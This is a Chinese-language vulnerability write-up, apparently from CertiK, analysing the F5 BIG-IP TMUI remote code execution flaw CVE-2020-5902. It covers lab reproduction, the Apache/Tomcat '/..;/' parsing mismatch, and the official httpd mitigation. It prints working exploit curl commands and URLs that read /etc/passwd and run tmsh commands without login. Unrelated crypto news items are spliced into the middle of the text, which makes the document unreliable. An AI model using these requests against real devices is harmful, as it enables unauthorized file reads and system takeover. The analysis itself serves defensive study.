前言
今日一早起来推特以及各大技术论坛上炸开了锅，安全圈子的人都在讨论F5设备里远程代码执行的漏洞。很多讨论的内容，大部分是在分享如何寻找目标，利用漏洞，并没有关于对漏洞成因的分析。CertiK的安全研究员下载了存在漏洞的程序，搭建环境复现漏洞后，对漏洞的起因进行了分析，并在下文分享给大家。
背景
F5BIG-IP是美国F5公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。PositiveTechnologies的研究人员MikhailKlyuchnikov发现其配置工具TrafficManagementUserInterface中存在远程代码执行漏洞，CVE编号为CVE-2020-5902。该漏洞CVSSv3评分为10分，攻击者可利用该漏洞创建或删除文件，关闭服务、执行任意的系统命令，最终获得服务器的完全控制权。CVE具体表述请查看文章底部参考链接1。
受影响的BIG-IP软件版本
漏洞利用
读取任意文件:
curl-k'https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
CertiK：Star Protocol项目Discord服务器遭黑客入侵:金色财经报道，据CertiK官方推特发布消息称，Star Protocol项目Discord服务器遭黑客入侵。在团队确认已重获对服务器的控制之前，请勿点击任何链接。[2023/7/11 10:47:24]
远程执行tmsh命令:
curl-k'https:///tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
官方给出的临时修复方案(后文会对修复进行分析)：
漏洞复现
在F5的官网注册账号之后，可以从F5的资源库中下载存在漏洞的BIG-IP软件。访问参考链接2可以下载BIG-IPTMOS(TrafficManagementOperatingSystem,流量管理操作系统)的虚拟机镜像。CertiK技术团队因为使用VmwareFusion,下载的是“BIGIP-15.0.0-0.0.39.ALL_1SLOT-vmware.ova-ImagefilesetforVMwareESX/iServer”。
韩国游戏巨头Wemade与CertiK建立长期合作关系:1月6日消息，韩国游戏巨头Wemade与区块链安全机构CertiK签署了一份谅解备忘录，据谅解备忘录的条款，Wemade和CertiK将建立长期的安全伙伴关系，并发起联合营销活动。CertiK将帮助Wemade提高WEMIX3.0生态系统的安全性和效率。[2023/1/6 10:58:14]
在VmwareFusion中加载镜像(import)：
加载完成之后，使用默认用户名密码登陆系统：
用户名:root
密码:default
系统初始化之后，使用”ifconfig”命令查询虚拟机IP地址。CertiK技术团队的BIG-IPTMUI虚拟机IP地址为”172.16.4.137”。
在浏览器中访问BIG-IPTMUI登陆界面:
https://172.16.4.137/tmui/login.jsp
Aave与Balancer合作推出Balancer V2资产管理器:借贷平台Aave和自动做市商（AMM）Balancer合作推出了具有混合流动性和借贷功能的Balancer V2资产管理器。（cointelegraph）[2021/2/24 17:46:13]
复现任意文件读取:
在浏览器中访问以下地址可以读取”/etc/passwd”文件内容：
https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
复现tmsh命令执行:
https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
去中心化链上资金保险池CertiKShield创建WNXM Shield保险资金池:12月15日消息，区块链安全公司CertiK的去中心化链上资金保险池CertiK Shield针对“Nexus Mutual创始人Hugh Karp个人37万枚NXM被盗”创建WNXM Shield保险资金池，为WNXM持有者提供CertiKShield保险服务。目前所有WNXM的个人持有者均可以加入CertiKShield，购买所需的WNXM Shield，当其资产产生丢失、被盗或无法访问等情况，CertiKShield可为其提供补偿。
购买CertiKShield服务后，相应比例的CertiKShield资金保险池将被锁定，以确保有足够的抵押资产用于理赔。购买Shield所支付的费用将作为奖励直接发送给担保提供者。担保提供者会提前提供自己的加密货币作为抵押品，用于支付获批的索赔申请。[2020/12/15 15:13:31]
漏洞分析
在进入漏洞分析前，先要明确一点：漏洞利用中的fileRead.jsp和tmshCmd.jsp文件在用户登陆后本身是可以被访问的。
下面的截图显示了登陆前和登陆后访问以下URL的区别：
https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
登陆前访问：
区块链安全公司CertiK将于10月24日上线CertiK主网:区块链安全公司CertiK宣布CertiKChain主网将于北京时间2020年10月24日22点24分上线。据此前报道，9月中旬，CertiK基金会正式开源CertiKChain。目前已开放使用的产品包括CertiKChain、去中心化CertiK安全预言机、用于编写安全智能合约的安全编程语言和编译器工具链DeepSEA工具链。[2020/10/22]
被跳转回登陆界面
输入账号密码登陆管理界面之后再访问，可执行fileRead.jsp读取文件。
fileRead.jsp和tmshCmd.jsp虽然是在PoC中最终被利用的文件，但是他们并不是漏洞的起因。此漏洞的本质是利用Apache和后台Java(tomcat)对URL的解析方式不同来绕过登陆限制,在未授权的情况下，访问后台JSP模块。CertiK技术人员第一次注意到此类型漏洞是在2018年Orange的BlackHat演讲:“BreakingParserLogicTakeYourPathNormalizationOffandPop0DaysOut”.这里可以查看演讲稿件(参考链接2)。
这里我们可以理解在F5BIG-IP的后台服务器对收到了URL请求进行了两次的解析，第一次是httpd(Apache),第二次是后一层的Java(tomcat).
在URL在第一次被Apache解析时，Apache关注的是URL的前半段https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
当Apache在看见前半段是合法URL且是允许被访问的页面时，就把它交给了后面的第二层。Apache在这里完全把URL里面关键的/..;/给无视了。
在URL在第二次被解析时，后面的Java(tomcat)会把/..;/理解为，向上返回一层路径。此时,/login.jsp/和/..;/会抵消掉。Tomcat看到的真正请求从
https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
变成了:
https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
再来fileRead.jsp并没有对收到的请求进行身份验证，后台因此直接执行fileRead.jsp,读取并返回了/etc/passwd文件的内容。
根据以上的思路，其实可以找出别的利用漏洞的URL,比如:
https://172.16.4.137/tmui/tmui/login/legal.html/..;/..;/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
这里“https://172.16.4.137/tmui/tmui/login/legal.html”和之前的“login.jsp”一样，是一个不需要登陆就能访问的页面。但是因为要向上返回两次，需要用两个/..;/来抵消掉”/login/legal.html”。
回到开头提到的官方给出的临时修复方案,修复方案的本质是在httpd的配置中添加以下规则:
include'
<LocationMatch".*\\.\\.;.*">
Redirect404/
</LocationMatch>
'
这个规则的意思是，当http服务器在监测到URL中包含..;(句号句号分号)的时候，直接返回404.这样利用漏洞的请求就没办法到达后台(第二层)了。
如何避免漏洞：
此漏洞的利用方式在网络上公开之后，因为它的攻击成本低廉，大批黑客都开始图谋利用此漏洞攻击使用F5BIG-IP产品的系统。黑客只需要付出极小的代价就能获得目标系统的控制权，对系统产生巨大的破坏。
俗话说：“不怕贼偷，就怕贼惦记”。即便这样的黑客攻击事件这次没有发生在你身上，不代表你是安全的。因为很有可能黑客的下一个目标就是你。
而Certik的专业技术团队会帮你彻底打消这种“贼惦记”的担忧。CertiK专业渗透测试团队会通过对此类事件的监测，第一时间给客户提交漏洞预警报告，帮助客户了解漏洞细节以及防护措施。此举可以确保客户的系统不受攻击并且不会遭受财产损失。
同时作为一名安全技术人员，在新漏洞被发现的时，不仅需要知道漏洞是如何被黑客利用的，更要去探寻漏洞背后的原因，方可积累经验，更加有能力在复杂的系统中发现隐藏的漏洞。
CertiK以及其技术人员，将永远把安全当做信仰，与大家一同学习并一同成长。
参考链接
1.https://cve.mitre.org/
2.https://downloads.f5.com/
3.https://i.blackhat.com/
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